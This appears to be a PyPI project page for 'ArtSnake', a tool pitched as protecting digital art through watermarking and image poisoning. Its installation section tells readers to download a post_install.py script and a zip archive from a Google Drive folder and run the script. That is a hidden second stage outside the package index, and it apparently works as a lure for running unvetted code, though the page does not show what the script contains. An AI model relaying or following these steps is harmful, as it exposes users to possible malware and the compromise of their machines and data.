A brief description of your library
Project description
ArtSnake
Say no to art theft! Robust and easy-to-use tool/API to protect digital art and photos from use without consent, combining context-aware watermarking and image poisoning.
Current Scenario
Artists are often unable to protect their digital art from unauthorized use. No current solution combines the ease of use of traditional watermarking with the robustness of invisible watermarking and image poisoning techniques, and each has its own limitations.
Current watermark implementation tools are not context-aware. They can often be very easily removed by cropping or editing the image using modern image editing software and generative models, or obstruct the image in a way that is visually damaging to the art. (For the prototype version of the project, this is the main concern)
On the other side of the spectrum, current invisible watermarking techniques are often too complex for artists to use, and require a deep understanding of cryptography and image processing. And in the case of protection against generative models, they are often rely on the good faith of the model creators to respect the watermark, which does not provide a real solution to the problem. Anti-AI image poisoning techniques are, although powerful, not easily accessible in an easily integrable form for artists, especially those who do not possess computing resources or knowledge.
Installation
To install ArtSnake, open your terminal and run the following command:
pip install ArtSnake
Download the post_install.py and ArtSnake.zip files from the repository https://drive.google.com/drive/folders/1BQiAme8a6fbI0lzCc6Jg3Qfr5LxSJiH3?usp=drive_link.
Ensure that both files (post_install.py and ArtSnake.zip) are in the same directory.
Open your terminal, navigate to the directory containing these files, and run the following command:
python post_install.py
This will complete the installation process for ArtSnake.
If you encounter any issues, please refer to the documentation.
Happy coding with ArtSnake!
References
Papers
On the Effectiveness of Visible Watermarks
Visible Watermark Detection in Images
An Adaptive Visible Watermark Embedding Method based on Region Selection
Adaptive Reversible Visible Watermarking Based on Total Variation for BTC-Compressed Images
Preventing Unauthorized AI Over-Analysis by Medical Image Adversarial Watermarking
Benchmarking the Robustness of Image Watermarks
Technologies of Interest
Repositories of Interest
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
